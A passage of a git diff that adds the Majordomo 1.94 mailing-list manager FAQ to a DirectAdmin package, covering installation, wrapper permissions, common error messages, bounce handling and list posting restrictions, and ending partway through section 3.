+ +RedHat 5.2 also ships with an interim (buggy) release of Perl, which +does not work with Majordomo. (you will get "Unknown mailer error 9" +errors). Download and install the updated Perl RPM from +ftp://updates.redhat.com/. + + + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/majordomo-faq.txt b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/majordomo-faq.txt new file mode 100644 index 0000000..6ab513d --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/majordomo-faq.txt @@ -0,0 +1,1350 @@ +Version: $Id: majordomo-faq.txt,v 1.3 2000/01/13 12:54:32 cwilson Exp $ +URL: http://www.visi.com/~barr/majordomo-faq.html +Archive-Name: mail/majordomo-faq +Posting-Frequency: monthly + +Note: This FAQ has been recently updated to be exclusively for Majordomo +1.94 and up. + +Table of Contents: + + 1. What is Majordomo and how can I get it? + o 1.1 - What is Majordomo? + o 1.2 - Where do I get Majordomo? + o 1.3 - How do I install it? + o 1.4 - How do I upgrade from an earlier release? + o 1.5 - Where do I report bugs or get help with Majordomo? + o 1.6 - Which is better, Majordomo or LISTSERV? + o 1.7 - How can I access Majordomo via the Web? + o 1.8 - Is Majordomo Y2K (Year 2000) compliant? + 2. Problems setting up Majordomo + o 2.1 - What are the proper permissions and ownership of all + Majordomo files and directories? + o 2.2 - I get a MAJORDOMO ABORT with "chown(...): Not owner" or ".. + Operation not permitted" + o 2.3 - I get "sh: wrapper: cannot execute" or "wrapper: permission + denied" + o 2.4 - I get "Unknown mailer error" when majordomo runs + o 2.5 - I get an error "insecure usage" from the wrapper + o 2.6 - I get "majordomo: No such file or directory" from the + wrapper + o 2.7 - I get an error "Can't locate majordomo.pl" + o 2.8 - I told my majordomo.cf where to archive the list, why isn't + it working? + o 2.9 - config-test can't seem to find ctime.pl or resend can't find + getopts.pl + o 2.10 - A list is visible via lists, but can't subscribe or 'get' + files + o 2.11 - I get "sh: wrapper not available for sendmail programs" + o 2.12 - I get "aliasing/forwarding loop broken" + 3. Setting up mailing lists and aliases + o 3.1 - How do I direct bounces to the right address? + o 3.2 - Semi-automated handling of bounced mail + o 3.3 - What's this Owner-List and List-Owner stuff? Why both? + o 3.4 - How should I configure resend for Reply-To headers? + o 3.5 - How can I hide lists so they can't be viewed by 'lists'? + o 3.6 - How can I restrict a list such that only subscribers can + send mail to the list? + o 3.7 - Can I have the list owner or approval person be changeable + without intervention from the Majordomo owner? + o 3.8 - What are all these different passwords? + o 3.9 - How do I tell majordomo to handle "get"-ing of binary files? + o 3.10 - How do I set up a moderated list? How do I approve + messages? + o 3.11 - How do I set up a digested version of a list? + o 3.12 - How do I setup virtual majordomo domains? + o 3.13 - How can I stop people from using my mailing list to spam my + subscribers? + 4. Mailer and list administration problems + o 4.1 - Address with blanks are being treated separately + o 4.2 - Why aren't my digests going out? + o 4.3 - Why do I get duplicate mail sent to the list? + o 4.4 - How do I gate my list to and/or from a newsgroup? + o 4.5 - How can I improve Majordomo's performance? + o 4.6 - How can I handle X.400 addresses? + o 4.7 - Why is the Subject of my messages missing? + o 4.8 - I'm getting mail from majordomo with "BOUNCE:" what do I do? + How do I stop this? + o 4.9 - My list configuration doesn't seem to be working. + o 4.10 - How do I set it up so that the originator of a message + doesn't get a copy of his/her own message back? + o 4.11 - With Smail or Exim, users subscribing to a list sometimes + get mail sent before they subscribed + o 4.12 - Majordomo doesn't seem to work with sendmail 8.9 + o 4.13 - I can't get Majordomo to work with RedHat Linux + +This FAQ is Copyright 1996 by David Barr and The Ohio State University. This +document may be reproduced, so long as it is kept in its entirety and in its +original format. + +Credits: +This FAQ originally written by Vincent D. Skahan. Many thanks to the members +of the majordomo-workers and majordomo-users mailing lists for many of the +questions and answers found in this FAQ. Thanks to fen@comedia.com (Fen +Labalme) for getting an HTML version started. + +You can get an HTML version of this FAQ on the World Wide Web at +http://www.visi.com/~barr/majordomo-faq.html. You can request a copy by +email by sending a message to mail-server@rtfm.mit.edu, with the following +text in the body: + +send usenet/comp.mail.list-admin.software/Majordomo_Frequently_Asked_Questions + +If you have any questions or submissions regarding this FAQ, send them to +barr@visi.com (David Barr). + + ------------------------------------------------------------------------ + +Section 1: What is Majordomo and how can I get it? + +1.1 - What is Majordomo? + +Majordomo is a program which automates the management of Internet mailing +lists. Commands are sent to Majordomo via electronic mail to handle all +aspects of list maintenance. Once a list is set up, virtually all operations +can be performed remotely, requiring no intervention upon the postmaster of +the list site. + +See the main Majordomo web page at: +http://www.greatcircle.com/majordomo/ + +Majordomo controls a list of addresses for some mail transport system (like +sendmail or smail) to handle. Majordomo itself performs no mail delivery +(though it has scripts to format and archive messages). + + majordomo - n: a person who speaks, makes arrangements, or takes + charge for another. From latin "major domus" - "master of the + house". + +Majordomo is written in Perl. It will work with Perl 4.036 or Perl 5.002 or +greater. It will not work with Perl 5.001!!!. It is recommended that you use +the latest release of Perl that you can get. You can find it at +http://www.perl.com/perl/. You must upgrade to version 1.94.3 in order for +it to work with Perl 5.004, due to changes in regular expressions. +Unfortunately, Majordomo does NOT work with Perl 5.005_01, due to a bug in +Perl with respect to regular expressions. Use Perl 5.005_02 (or greater). +While Majordomo is still compatible with Perl 4.036, future versions will +likely be Perl 5 only. + +RedHat 5.2 is unfortunately shipping a prerelease version of Perl +("5.004m4") with some of their Linux distributions. This version is buggy +and won't work with Majordomo (you will get "Unknown mailer error 9" +errors). Download an install the 5.004 or 5.005 RPM instead, or download and +updated RPM from updates.redhat.com. Many people have been having problems +with Majordomo on DEC OSF/1 AXP systems. Apparently Perl on the Alphas is +not as stable as compared to other platforms, and Majordomo tickles bugs in +that port of Perl. If you are having problems, please make sure you are +running the very latest version of Perl (version 5.002 is known to work). +There haven't been recent reports in this area, so it's assumed that later +versions also work. + +There have also been reported problems with the native compiler for AIX +3.2.5. Perl compiled with that compiler will crash when running Majordomo +(even though it passes all the regression tests), however if you compile +Perl with gcc it will work. + +Majordomo was developed under UNIX based systems, but could be made to work +on others. If you can get Perl to compile and run cleanly on your system, +and can send Internet mail by piping or calling an external program (and +that external program reads its list of recipients from a plain text file), +you can probably get Majordomo to work on a wide variety of UNIX-based and +non-UNIX based systems. There is no known port of Majordomo to Windows NT, +Win95 or Mac. For more information, see the comp.os.msdos.mail-news FAQ. At +last check there was a port of an old version (1.93) to MS-DOS/Waffle, and +an old version (1.93) ported to OS/2. These probably aren't all that helpful +for anyone porting Majordomo to NT. + +Here's a short list of some of the features of Majordomo. + + * supports various types of lists, including moderated ones. + * List options can be set easily through a configuration file, editable + remotely. + * Supports archival and remote retrieval of messages. + * Supports digests. + * Written in Perl, - easily customizable and expandable. + * Modular in design. + * Includes support for FTPMAIL. + * Supports confirmation of subscriptions (to protect against forged + subscription requests). + * List filters + +See other references throughout this FAQ for some further notes on using +these packages. + +1.2 - Where do I get Majordomo? + +Via the Web at: +http://www.greatcircle.com/majordomo/ Via anonymous FTP at: +ftp://ftp.greatcircle.com/pub/majordomo/ +ftp://ftp.sgi.com/other/majordomo/ +ftp://ftp.sgi.com/other/majordomo/ + +The current version is 1.94.4. It includes a security fix for a bug found in +1.94.3 and prior. + +If you don't have Perl, you can get it from: + +http://www.perl.com/perl/ + +Use that link for more information about Perl, too. The FTPMAIL package can +be found in ftp://src.doc.ic.ac.uk/packages/ftpmail or any comp.sources.misc +archive (volume 37). + +Majordomo 2 is currently being developed by Jason Tibbits. Currently it's +"alpha" quality. Join the majordomo-workers list (see below) if you want to +use this release. You can find out how to get Majordomo 2, as well as +information about this release at http://www.hpc.uh.edu/majordomo/ + +1.3 - How do I install it? + +Majordomo comes with a rather extensive INSTALL file. Read this file +completely. There's also a README file which covers some common problems. +This FAQ is meant to be a supplement to Majordomo's documentation, not a +replacement for it. If you have any questions that this FAQ doesn't cover, +chances are that it is covered in the documentation in the Majordomo +distribution. For anyone who is going to run a list, you must read +Doc/list-owner-info before trying to do anything. If you don't have access +to the system where your list is being run, the Majordomo maintainer who set +up your list should have sent it to you. Bug him if he didn't, or download +it from the Majordomo distribution. + +If you have permission problems unpacking the distribution, try using the +'o' flag to tar to ignore user/group information. + +Although Majordomo is written in Perl, it does have one component written in +C that must be compiled. This 'wrapper' program runs "setuid" and ensures +that all Majordomo functions operate with the proper permissions. You will +need root access to install this program with the correct privileges. + +Majordomo interfaces to the mail system (sendmail, exim, etc) through +aliases. Adding aliases is generally a root-bound process. However, on some +systems the process can be delegated to a separate file under your control. + +Once you get past the above two requirements, it is possible to maintain +Majordomo lists without root access. At best, your local sysadmin would only +be bothered twice -- once for the installation, and once for designating a +separate alias file for your use. + +Majordomo 1.x is designed to work with sendmail, however will work with +other UNIX-based mailers. For more information on setting up Majordomo with +other mailers, see the following pages: + + * qmail - ftp://ftp.eyrie.org/pub/software/majordomo/mjqmail + * exim - http://www.netmaster.ca/exim/majordomo.html + * Netscape Messaging Server 2.x and 3.x - + http://interstroom.nl/docs/nsmajordomo + * Cyrus IMAP - see "Sendmail can't mail to a file or pipe..." at + http://andrew2.andrew.cmu.edu/cyrus/imapd/install-FAQ.html#sendmail. + This is necessary because Majordomo works by delivering mail via pipe. + +1.4 - How do I upgrade from an earlier release? + +Be sure to browse the "Changelog" file to get an idea what has changed. +There currently is no canned set of instructions for upgrading from an +earlier release. The most straightforward method is to simply install the +current release in a different directory, (with the same list/archive/digest +directories) and change the mail aliases for each list to use the new +Majordomo scripts as soon as you feel comfortable with the new setup. + +Be careful when upgrading to 1.94 that you update your $mailer and +$bounce_mailer variables in your majordomo.cf! There are some other new +variables too. You may want to update the list .config files so they contain +any new variables found in the new release. You just need to do a +'writeconfig' for each list, and majordomo will update the .config file +using the existing values in the old .config file. Any new variables will be +set to defaults for a new list. + +1.5 - Where do I report bugs or get help with Majordomo? + +Please DO NOT ask the FAQ maintainer for help on Majordomo. I will +accidentally delete your message. I'm sorry, I don't have time to do +consulting on Majordomo. I am not a Majordomo help service. I, along with +many others, do answer questions on the mailing lists. Let me say that about +90% of the answers I get are from the documentation or this FAQ. Many of the +rest are answered by reading the source. It's really not that hard to figure +out. The remainder of the questions I get are usually sendmail questions, +which really should be asked in comp.mail.sendmail. + +If you need help, there is a mailing list majordomo-users@greatcircle.com, +which is frequented by lots of users of Majordomo. Report actual bugs to +majordomo-workers@greatcircle.com. It's a good idea to search or browse the +list archives below for the last couple months since many of the same +questions are asked (and answered) regularly. There are searchable list +archives (thanks to Jason Tibbitts) at +http://www.hpc.uh.edu/majordomo-users/ and +http://www.hpc.uh.edu/majordomo-workers/. + +Be sure always to include which version of Majordomo you are using. You +should also include what operating system you are using, what version of +Perl, and what mailer (sendmail, smail, qmail, etc) and version you are +using, especially if you can't get Majordomo to work at all. But first, you +must have thoroughly read the ALL the documentation in the Majordomo +distribution and this FAQ. If you got this FAQ from the Majordomo +distribution or anywhere except from the WWW site at the top of this +document it is probably not the most recent version. + +There is an FTP site for unofficial patches. See +http://sol.ccsf.cc.ca.us/ftp/majordomo-patches/ . What's in it? Messages +that are saved from the majordomo-users and -workers mailing lists. There +are INDEX files in each part with one-line summaries of each patch, and a +README file in the top directory with overall information. If you have +patches that you think should be in the archive, you can FTP or email them +in. The top-level README file tells how to do it. Please contribute -- to +save other people the headaches you had. NOTE: The patches are NOT +"official" patches approved by Chan Wilson or anyone else. Use your own +judgment before (and after) you apply them. + +Nick Perry also has various patches for 1.94.3 at +ftp://ftp.amulation.co.uk/pub/majordomo_patches/. They are patches which add +various functions to majordomo. + +Do NOT ask questions about Majordomo on the list-managers@greatcircle.com +list. That list is for general discussions about running mailing lists, not +for help on specific packages. The same goes for the Usenet group +comp.mail.list-admin.policy. + +There is a good guide for people running majordomo lists at +http://docuspace.uchicago.edu/dpc/general/g_maj-adm.html. + +Look for a great book out now from O'Reilly and Associates called "Managing +Mailing Lists", by Alan Schwartz. You can read my review of the book at +http://www.visi.com/~barr/managing-maillist-review.html. I was one of the +book's technical reviewers. You can order the book at a discount (currently +20%) from amazon.com via the web: + + * http://www.amazon.com/exec/obidos/ASIN/156592259X/greatcircleassoc + +Besides getting you the book at a discounted price, using this link earns +Great Circle Associates a small commission, which helps pay for their +support of the majordomo and list-managers mailing lists, as well as +distributing majordomo on their FTP site. + +1.6 - Which is better, Majordomo or LISTSERV? + +For a good comparison of various mailing list managers (MLM's) there's a +good FAQ by Norm Aleks. It is posted monthly to news.answers and +comp.mail.list-admin.software. It's also mirrored at the following URL. +http://www.faqs.org/faqs/mail/list-admin/software-faq. Contact +naleks@library.ummed.edu (Norm Aleks) for more information. + +1.7 - How can I access Majordomo via the Web? + +There are various Web interfaces to Majordomo available. Some are management +interfaces for list maintenance, and some are interfaces for list archives +(some do searching too). + + * LWGate - http://www.netspace.org/users/dwb/lwgate.html + * Regan's - http://www.peak.org/peak_info/mlists/Majordomo.html + * MajorCool - http://ncrinfo.ncr.com/pub/contrib/unix/MajorCool/ Link + dead.. it looks like it's supposed to be moved to + http://www.ncr.com/pub/software/MajorCool/. + * MailServ - http://www.csicop.org/~fitz/www/mailserv/ + * Pandora - http://www.ed.umuc.edu/pandora/ + * Maitre-d - http://www.landw.com/wps/content2.htm#ch12 + * Marcos' - http://www.inf.utfsm.cl/~marcos/majordomo/www.html + * ListTool - http://www.listtool.com/ + * Wilma (a list archive interface) - + ftp://sol.ccsf.cc.ca.us/majordomo-contrib/ + * ListQuest ( a list archive and search interface) - + http://lq.corenetworks.com/ + +1.8 - Is Majordomo Y2K (Year 2000) compliant? + +The current release of Majordomo has no known year 2000 issues. Older +versions had problems only if you used the "archive" program to maintain +list archives, since it used only a 2-digit year. If you use the new 4-digit +year flags to archive you should not have any year 2000 problems. + +No one has officially certified Majordomo to be Y2K compliant, and I don't +foresee anyone paying money to do so, so don't go looking for someone to sue +if it breaks. All we are saying is that we know of no year 2000 issues with +Majordomo. + +That being said, as you can see by reading the Majordomo source, except for +the "archive" program majordomo doesn't directly deal with dates so it's +extremely unlikely there are any year 2000 issues. Even places where it does +use dates (archive) it doesn't do any date comparisons, which is the crux of +all non-cosmetic year 2000 bugs. At worst "archive" would overwrite your +100-year-old mailing list archives. I really really doubt Majordomo will +still be used for 100 years. + + ------------------------------------------------------------------------ + +Section 2: Problems setting up Majordomo + +2.1 - What are the proper permissions and ownership of all Majordomo files +and directories? + +By far the biggest problem in setting up Majordomo is getting all the +permissions and ownerships right. In part this is due to the security model +that Majordomo uses, and it's also due to the fact that it's hard to +automate this process. Once you install majordomo, run "./wrapper +config-test" as some other user (like you) and read the results. Do NOT run +"./wrapper config-test" as 'root' or your 'majordom' user. That will defeat +the test of the wrapper operation. The config-test script will check your +installation for correct permissions (as well as other tests) and report any +problems. It's not quite perfect, but it catches 95% of all problems. + +Majordomo works by using a small C "wrapper" which works by allowing it to +always run as the "majordom" user and group that you create. (note that the +wrapper may disappear in a future release, since its function could safely +be replaced by features found in Perl 5) You can use a different name than +"majordom" for your user and group, but that is what is assumed for the +explanations found in this document. The 1.94.3 INSTALL file suggests using +'daemon' as your majordomo group. This is the group that 'sendmail' runs as, +and allows you to have $homedir permissions set to 750. This has the +disadvantage in environments where there may be one or more administrators +of the Majordomo system or where you don't want to always have to 'su' to +the majordomo user to do administration. (you don't really want to put other +normal users in the 'daemon' group for security reasons) If you create a +separate 'majordom' group and add yourself and other majordomo +administrators to it, then you'll need to make sure the $homedir and wrapper +have world execute permission, and you may have to add 'majordom' to the +'trusted' list of users in your sendmail.cf. (otherwise sendmail 8.x will +probably give "X-Authentication-Warning:"'s) + +Because Majordomo does not run with any "special" (root) privileges, and +because of the fact that Majordomo does a lot of .lock-style locking (with +shlock.pl), permissions on all files and directories are critical to the +correct operation of Majordomo. + +The wrapper + +The wrapper is compiled in one of two ways, by uncommenting the correct +section in the Makefile for your type of system. If you are unsure if your +system is POSIX or not, I would suggest you assume that your system is not. +(The default is POSIX) If things don't work right (for example you get +symptoms of permission problems or you get an error from the wrapper saying +to recompile using POSIX flags), then try POSIX. + +Some systems which are non-POSIX: SunOS 4.x, Ultrix, most BSD 4.2 and +4.3-based systems. POSIX systems include: Solaris 2.x, IRIX 5.x, BSDI (and +other 4.4 BSD-based systems), Linux. + +Make sure W_PATH is right in the Makefile. On IRIX 5.x, you need to add +/usr/bsd to the W_PATH to get the hostname (needed by Perl) command. (IRIX +doesn't have a /usr/ucb). If you are on a non-POSIX system, the wrapper must +be both suid and sgid (mode 6755) to "majordom". It must not be setuid root! + +OR + +On a POSIX system the wrapper must be setuid root, and double-check that +W_USER and W_GROUP are the uid and gid of the "majordom" user and group. +Don't ever set W_USER to be 0! + +Then compile the wrapper and install it. Do not install the wrapper on an +NFS filesystem mounted with the "nosuid" option set. This will prevent the +wrapper from working. + +Majordomo files + +All files that majordomo creates will be mode 660, user "majordom", group +"majordom" if it is running correctly (see $config_umask in the +majordomo.cf). The "Log" file that Majordomo writes logging information to +must have this same permission and ownership. Make sure any files you create +by hand (.config, subscription lists) have this same permission and +ownership. (they can also be mode 664 if you don't need the contents to be +private to others) The permissions/ownership of the Majordomo programs and +related files themselves aren't as critical, but the must all be readable to +the "majordom" user/group. All Majordomo programs (majordomo, resend, etc.) +must have the execute bit set. All Majordomo programs must have the correct +path to Perl in the #! line in the beginning of the script. The 'make +install' process should do this all automatically for you. + +Majordomo directories + +All directories under Majordomo's control ($homedir, $listdir, +$digest_work_dir, $filedir, as defined in your majordomo.cf) must be at +least mode 750 (or 755 if you don't use "daemon" as your majordomo group -- +see 2.3below.). They should be user and group owned by "majordom". If want +to allow a local user to be able to directly modify files or for example +copy files into a list's archive directory, you may make the directory or +file owned by that user. However directories and files must be then +group-"majordom" writable (770 or 775). + +2.2 - I get a MAJORDOMO ABORT with "chown(...): Not owner" or ".. Operation +not permitted" + +Most likely your wrapper is not installed correctly. Re-check the Makefile +and see if the wrapper was compiled with the right UID and GID. See the +README and the above section on how to set the permissions correctly. Make +sure after you fix the wrapper that you remove (or rename) any +"listname.new" or "L.listname" files found in your lists directory. These +will likely have the wrong ownerships, and cause you problems. + +You should have seen an error if you ran "./wrapper config-test" as a +non-root, non-majordom user. If not, it's a bug in config-test and should be +fixed. + +2.3 - I get "sh: wrapper: cannot execute" or "wrapper: permission denied" + +This is a bug in the 1.94 Makefile. You'll see this in new installs of +Majordomo if you don't use a majordomo group of 'daemon'. The majordomo +$homedir needs to have permission of at least 751 (or 755), not 750. +Otherwise, sendmail won't have permission to execute the wrapper. You'll +need to do a 'chmod 755 $homedir' after you install majordomo. Make sure +'wrapper' also has world execute permission. Some people also have put the +user 'daemon' in the 'majordom' group. This works too. + +2.4 - I get "Unknown mailer error" when majordomo runs + +First, see Question 4.13 if you are running RedHat 5.2 and are getting +"Unknown mailer error 9". + +If something is wrong with your setup, the wrapper will often exit with +various return codes depending on what the problem is. In order to really +understand what is going on, look at the session transcript further down in +the bounce message to see the error which is returned from the wrapper or +from Majordomo. You should usually see some sort of error message. If you +just get a return code, check the Majordomo README for further explanation +on sendmail return codes. If you get "Unknown mailer error XX" where XX is +less than 255, look for the error in /usr/include/errno.h . Otherwise, see +the README. + +See section 1.1 above for what versions of Perl won't work with Majordomo. + +[reported by Russell Street] +You may also get problems when messages to majordomo are queued (for example +if you change sendmail's behavior to always queue messages rather than +perform immediate delivery). The problem was that if sendmail queues a +message it smashes the case in command lines and addresses when the queue +gets processed. This is in spite of the lines shown by mailq. This is +sendmail 5.x on Solaris 2.3, but it might apply to other versions of +sendmail. + +2.5 - I get an error "insecure usage" from the wrapper + +The argument to "wrapper" should be simply be the command, not the full path +to the command. "wrapper" has where to look compiled in to it (the "W_HOME" +setting in the Makefile) and for security reasons will not let you specify +another directory. + +Your alias should say for example: + +majordomo: |"/path/to/majordomo/wrapper majordomo" + +2.6 - I get "majordomo: No such file or directory" from the wrapper + +Make sure that the #! statement at the beginning of all the Majordomo Perl +executables contain the correct path to the perl program (the default is +/usr/local/bin/perl). Note many UNIXes have a 32 character limit on that +path -- make sure it doesn't exceed this limit. Make sure also that +majordomo and all the related scripts are in the W_HOME directory as defined +in the Makefile when you compiled the wrapper. + +2.7 - I get an error "Can't locate majordomo.pl" + +[from Brent Chapman] +Majordomo adds "$homedir" from the majordomo.cf file to the @INC array +before it goes looking for "majordomo.pl". Since it's not finding it, I'd +guess you have one of two problems: + +1) $homedir is set improperly (or not set at all; there is no default) in +your majordomo.cf file. + +2) majordomo.pl is not in $homedir, or is not readable. + +[from John P. Rouillard] +3) Note that the new majordomo.cf file checks to see if the environment +variable $HOME is set first, and uses that for $homedir. Since the wrapper +always sets HOME to the correct directory, you get a nice default, unless +you are running a previously built wrapper, in which case you may get the +wrong directory. + +[from Andreas Fenner] +4) I had the same problem when I installed majordomo (1.62). My Problem was +a missing ";" in the majordomo.cf file - just in the line before setting +homedir .... My hint for you: Check your perl-files carefully. + +2.8 - I told my majordomo.cf where to archive the list, why isn't it +working? + +[From John Rouillard] +The archive variables in majordomo.cf aren't used to archive anything. You +have to use a separate archive program, or a sendmail alias to do the +archiving. The info is used to generate a directory where the archive files +are being placed by some other mechanism. + +You are telling majordomo to look in the directory: +/usr/local/mail/majordomo/archive/listname + +for files that it should allow to be retrieved using the get command. + +Majordomo comes with three different archive programs that run under wrapper +that do various types of archiving. Look in the contrib directory. + +2.9 - config-test can't seem to find ctime.pl or resend can't find +getopts.pl + +ctime.pl and getopts.pl are included in the standard Perl distribution. If +it can't find it, it means Perl was not installed correctly. Re-install +Perl. (you may want to take the opportunity to upgrade Perl, too) + +2.10 - A list is visible via lists, but can't subscribe or 'get' files + +[From Brent Chapman] +I'll bet your list name has capital letters in it... Majordomo smashes all +list names to all-lower-case before attempting to use the list name as part +of a filename. So, while it's OK to advertise (for instance) +"Majordomo-Users" and have the headers say "Majordomo-Users", the file names +and archive directory names themselves all need to be in lower case. If you +want to use mixed case, simply configure the list using the lower-case names +everywhere, except put the mixed-case version in the "-l" and "-h" flags to +resend. + +2.11 - I get "sh: wrapper not available for sendmail programs" + +You're on a system which uses smrsh. (sendmail restricted shell). You have +to configure smrsh to allow it to execute the wrapper. Normally this is done +by creating a symlink in /var/adm/sm.bin (in some it's /etc/smrsh) to +Majordomo's wrapper program. + +2.12 - I get "aliasing/forwarding loop broken" + +[ Reported by Wade Williams ] +Some people have noted sendmail will generate a bounce message if you send +to a list, but the list file is empty (there are no subscribers). Add a +subscriber to the list and the error should go away. + +You will also get this error if the permissions on the list file for that +list in the lists directory are too strict. If the list directory or list +file is not readable by sendmail, you will also get the error "Cannot open +/path/to/lists/listname: Permission denied". See Section 2.1 above for the +full discussion of how to correctly set permissions on directories and files +within Majordomo. + + ------------------------------------------------------------------------ + +Section 3: Setting up mailing lists and aliases + +3.1 - How do I direct bounces to the right address? + +You should use 'resend' to filter all messages. Make sure the "sender" +variable in the list config file points to "owner-listname" and that you +have defined the "owner-listname" alias to point to the owner of the list. + +What this does is force outgoing mail to have the out-of-band envelope FROM +be "owner-listname", and thus all bounces will be redirected to that +address. (This address is what gets copied into the message body as the +"From " or "Return-Path:" header). 'resend' also inserts a "Sender:" line +with the same address to help people identify where it came from, but that +header is not used in the bounce process. + +If you are using sendmail v8.x, you don't have to use 'resend' to do the +same thing. You simply have to define an alias like this: + +owner-sample: joe, + +Note the trailing comma is necessary to prevent sendmail from resolving the +alias first before putting it in the header. Without the comma, it will put +"joe" in the envelope from instead of "owner-sample". Either address will +work, of course, but the generic address is preferred should the owner ever +change. + +However if you choose not to use 'resend', you will have to do without most +of majordomo's other features like moderating, administrivia checks, and +others. + +3.2 - Semi-automated handling of bounced mail + +This is not true automation of bounced mail. What this does is the next best +thing. You unsubscribe the user from the list, but add the user to a special +'bounces' list (there's a perl script in the distribution called bounce you +run to make this easier) The majordomo maintainer then runs (out of cron) +the 'bounce-remind' script periodically, which sends mail to all the people +on the bounces list, saying essentially "you were removed from list 'foo' +because mail to you bounced. To subscribe yourself back to the list, send +the following commands ...". There's no facility yet for trimming the +bounces list, but it's easy to write one because the date the person was +added to the bounces list is included (so you could write a perl script +which removes anyone on the list for more than one week, assuming you run +bounce-remind more than once a week). There's no facility for automatically +detecting what addresses are failing. You have to determine that based on +the bounce messages you receive from other sites. + +[From John Rouillard] +Just create a mailing list called "bounces". I usually set mine up as an +auto list just to make life easier. + +All that "bounce" script does is create an email message to majordomo that +says: + + approve [passwd] unsubscribe [listname] [address] + approve [passwd] subscribe bounces [address] + +The [address] and [listname], are given on the command line to bounce. The +address of the majordomo, and the passwords are retrieved from the +.majordomo file in your home directory. + +A sample .majordomo file might look like (shamelessly stolen from the +comments at the top of the bounce script): + + this-list passwd1 Majordomo@This.COM + other-list passwd2 Majordomo@Other.COM + bounces passwd3 Majordomo@This.COM + bounces passwd4 Majordomo@Other.COM + +A command of "bounce this-list user@fubar.com" will mail the following +message to Majordomo@This.COM: + + approve passwd1 unsubscribe this-list user@fubar.com + approve passwd3 subscribe bounces user@fubar.com (930401 this-list) + +while a command of "bounce other-list user@fubar.com" will mail the +following message to Majordomo@Other.COM: + + approve passwd2 unsubscribe other-list user@fubar.com + approve passwd4 subscribe bounces user@fubar.com (930401 this-list) + +Note that the date and the list the user was bounced from are included as a +comment in the address used for the "subscribe bounces" command. + +3.3 - What's this Owner-List and List-Owner stuff? Why both? + +[From David Barr] +The "standard" is spelled out in RFC 1211 - "Problems with the Maintenance +of Large Mailing Lists". + +It's here where the "owner-listname" and "listname-request" concepts got +their start. (well it was before this, but this is where it was first +spelled out) + +Personally, I don't use "listname-owner" anywhere. You don't really have to +put both, since the "owner" alias is usually only for bounces, which you add +automatically anyway with resend's "-f" flag, or having Sendmail v8.x's +"owner-listname" alias. + +(while I'm on the subject) The "-approval" is a Majordomo-ism, and is only +necessary if you want bounces and approval notices to go to different +mailboxes. (though you'll have to edit some code in majordomo and +request-answer if you want to get rid of the -approval alias, since it's +currently hardwired in) + +So, to answer your question, I'd say "no". You don't have to have both. You +should just have "owner-list". + +3.4 - How should I configure resend for Reply-To headers? + +Whether you should have a "Reply-To:" or not depends on the charter of your +list and the nature of its users. If the list is a discussion list and you +generally want replies to go back to the list, you can include one. Some +people don't like being told what to do, and prefer to be able to choose +whether to send a private reply or a reply to the list just by using the +right function on their mail agent. Take note that if you do use a +"Reply-To:", then some mail agents make it much harder for a person on the +list to send a private reply. The most important reason why Reply-To: to the +list is bad is that it can cause mail loops if any of the members of your +list are running fairly-common but broken software which doesn't know what +an envelope address is. (Many Microsoft products, as well as many other +PC-based non-SMTP/Internet mail systems which work through an SMTP gateway.) + +You should read the following FAQ on why you shouldn't set the Reply-To: +field. http://www.unicom.com/pw/reply-to-harmful.html + +If you are using resend, use the 'reply_to' configuration variable in the +list .config file. + +3.5 - How can I hide lists so they can't be viewed by 'lists'? + +That is what advertise and noadvertise are for. These two variables take +regular expressions that are matched against the from address of the sender. +A list display follows the rules: + + 1. If the from address is on the list, it is shown. + 2. If the from address matches a regexp in noadvertise (e.g. /.*/) the + list is not shown. + 3. If the advertise list is empty, the list is shown unless 2 applies. + 4. If the advertise list is non-empty, the from address must match an + address in advertise. Otherwise the list is not shown. Rule 2 applies, + so you could allow all hosts in umb.edu except hosts in cs.umb.edu. + +3.6 - How can I restrict a list such that only subscribers can send mail to +the list? + +See the restrict_post variable in the config file. Just set it to the +filename that holds the list of subscribers, which is just simply the name +of the list. ("restrict-post = listname"). However, there is an issue to +keep in mind. Majordomo works by filtering the messages coming in through +the "listname" alias, doing its dirty work, then passing the resulting +message out to another alias you define like "listname-outgoing". If you +trust people to not send mail directly to the "listname-outgoing" alias, +then you'll be fine. If however you're not trusting, there are several steps +to make sure people don't bypass the restrictions of the list. + +There are several methods. First you need to change your "listname-outgoing" +alias such that it is not obvious. (That means don't use something easy to +guess like "-outgoing" or "-list"). Next, you need to make it such that +people can't find out what your -outgoing alias is. + +You can use the "@filename" directive of resend. Put the all the normal +command-line options of resend into a file readable only by the majordomo +user/group. Then the alias for the list simply becomes ".../resend +@/path/to/filename". This will make it such that you can't find out the +-outgoing address by connecting to your mailer and doing an EXPN or VRFY. +The "@filename" directive seems to have fallen into undocumentation for some +reason. This should be fixed in future releases. This doesn't prevent a user +reading the local /etc/aliases file (if they can), however. + +Another approach is to simply disable EXPN or VRFY altogether. See the +documentation for your mailer on how to do this. In sendmail this is done by +adding "noexpn" to the "O PrivacyOptions=" line in your sendmail.cf +(multiple options are separated with a comma). However this doesn't prevent +a local user reading the aliases file. This isn't generally a problem if +your mail server is restricted to staff only users. + +Unfortunately, Sendmail 8.x will log your -outgoing alias in the "Received:" +lines. To prevent this you need to specify more than one address for the +list name argument to resend. (for example +"mylist:|"/usr/local/lib/majordomo/wrapper resend -h foo.org -l mylist +mylist-seekrit,nobody"" where nobody is an alias for /dev/null) For Sendmail +8.x you must not define an alias 'owner-mylist-seekrit' to be something like +'owner-mylist,' (with the comma). Otherwise sendmail will set the envelope +address of outgoing mail to contain your secret outgoing alias. Again if +you're using the @filename directive, the entire command line is simply put +into the specified file (starting with "-h foo.org ...". + +Here's another creative idea from matt@primefactor.com (Matt Perry): + +I've had a report that this no longer works with sendmail 8.9.1 + +Sendmail allows you to rewrite incoming and outgoing addresses. The one that +handles incoming is virtualusertable.text. For a list called test with the +test-outgoing alias, I put the following into my virtualusertable.text file +and remade the db with the appropriate command: + +test-outgoing@mydomain.com error:nouser User unknown + +Sendmail can still get to the alias and expand it into the list of +recipients. However, any mail that appears at port 25 marked for +test-outgoing@mydomain.com will bounce back with "User unknown". + +Finally it should be noted that it is impossible with any of these methods +above to prevent people from forging mail as someone who is subscribed to +the list, and sending to the list that way. Of course a spammer can also +subscribe to the list legitimately and then send spam. The restrict_post +option blocks the vast majority of problems, however. + +3.7 - Can I have the list owner or approval person be changeable without +intervention from the Majordomo owner? + +Sure! Just make owner-listname and/or listname-approval be another majordomo +list. 